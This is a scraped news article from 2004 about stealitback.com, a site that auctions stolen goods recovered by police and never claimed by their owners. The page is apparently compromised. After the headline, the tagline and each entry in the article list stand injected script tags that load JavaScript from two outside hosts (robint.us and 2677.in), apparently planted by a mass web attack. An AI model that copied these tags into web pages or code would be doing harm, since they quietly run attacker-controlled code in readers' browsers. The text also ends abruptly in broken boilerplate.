Thousands Get a Steal Buying Stolen Merchandise<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
interactiveDAD Staff - Nov. 1, 2004
It’s ‘windows’ shopping for men. Internet site run by a former cop lets you legally buy stolen goods.<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Home
  • Article 1 : Playing Games Develops Child's Motor Skills<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 2 : Top 10 Secrets to Avoiding Marital Money Problems<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 4 : College Financial Aid Process Need Not Add Up to Huge Headache<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 5 : Eating Breakfast Benefits Men's Health and Can Help You Lose Weight<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 6 : Bank Overdraft 'Protection' Benefits Bank, Not Customer, says Expert<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 7 : Most Parents Monitor Children's Computer Use<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 8 : Divorce Can Be a Big 'Ouchy' Even for Infants<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 9 : The Secret to Saving Big at the Grocery Store<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 11 : 'Refresh'er Course on Diapering<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 12 : Give Yourself a Raise, Get a Flexible Spending Account<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 13 : 'Shop More, Save More for College' Gimmick or Reality?<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 16 : Life Insurance Quote Proves Critical to Family's Survival<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 17 : How Shopping Online Can Turn into a Ripoff<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 18 : Reality: Fantasy Sports Can Revolutionize Relationships<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 19 : Going the Distance to Bond with Your Child<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 20 : Dirty-Mouthed Dads Do Damage to their Children<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 21 : 'High-Pressure' Dads Can Do Long-Term Damage to their Children<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 22 : Myth or Reality? Dads Have Pregnancy Pains<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 23 : Secrets to Preparing to Meet the Teacher<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
  • Article 24 : Parking Spots for Pregnant Women Boost Business<script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
 It’s 10:23pm ET and the bidding goes strong.

 

One auction is for a rare 1922 Peace Silver Dollar.  Another is for a ladies 14K Yellow Gold Fashion Ring. 

 

But there are literally thousands of items being bid on.  There are computers, fax machines, printers, mobile phones and children’s toys like bicycles and video games.  

 

This isn’t Ebay.  It’s a stealitback.com—where just about everything you’ll find up for auction is stolen.

 

HOW IS THIS LEGAL?

 

To be clear, the auction items are obtained legally from police departments nationwide.  These are items that were stolen, recovered, and for whatever reason, the rightful owners never claimed them. 

 

People don’t claim their items because sometimes they don’t know to and other times because they’ve already collected the insurance money.

 

Police departments keep stolen merchandise for as long as they need to for evidence.   After that, departments try unload the goods because they take up something even more valuable: space. 

 

Property rooms across America are filled with stolen goods.  But now, four-hundred agencies in 27 states send their good to this site for auction—including the Los Angeles Police Department. 

 

Thomas Lane, http://www.stealitback.com co-founder, says some agencies used to hold community auctions to clean out their property rooms. It’s an event that Lane says is very time consuming considering only a handful of people ever show up—and it’s usually professional dealers who resell at a great profit. 

 

This brings auctions to the general public nationwide. 

 

“Consumers can sit (and bid) in their living rooms, as opposed to going to an auction held on a holiday weekend” says Lane, whose site attracts more than 12 million visitors a month.

 

‘HEY THAT’S MINE—IT WAS STOLEN!’

 

So now the obvious question:  What if the rightful owner turns up to collect the item being auctioned? 

 

There’s a simple answer.  They get it back.

 <
Absolute News Manager : news publishing software and web content management system by Xigla Software

The article has been moved here